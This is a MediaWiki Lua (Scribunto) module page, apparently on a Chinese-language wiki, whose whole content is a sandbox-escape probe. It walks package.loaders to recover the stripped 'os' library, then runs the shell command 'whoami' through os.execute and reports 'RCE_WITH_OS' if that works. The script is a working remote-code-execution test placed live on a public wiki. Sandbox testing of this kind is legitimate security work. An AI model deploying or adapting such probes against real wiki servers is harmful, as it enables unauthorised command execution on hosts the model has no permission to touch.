模块:RceEscape PkgLoadOs
可在模块:RceEscape PkgLoadOs/doc创建此模块的帮助文档
local p = {}
function p.test()
for i, loader in ipairs(package.loaders) do
local ok, result = pcall(loader, "os")
if ok and type(result) == "function" then
local ok2, os_tbl = pcall(result)
if ok2 and type(os_tbl) == "table" and os_tbl.execute ~= nil then
local ok3, output = pcall(os_tbl.execute, "whoami")
return "RCE_WITH_OS: " .. tostring(ok3) .. ":" .. tostring(output)
end
end
end
return "NO_OS_EXECUTE_FOUND"
end
return p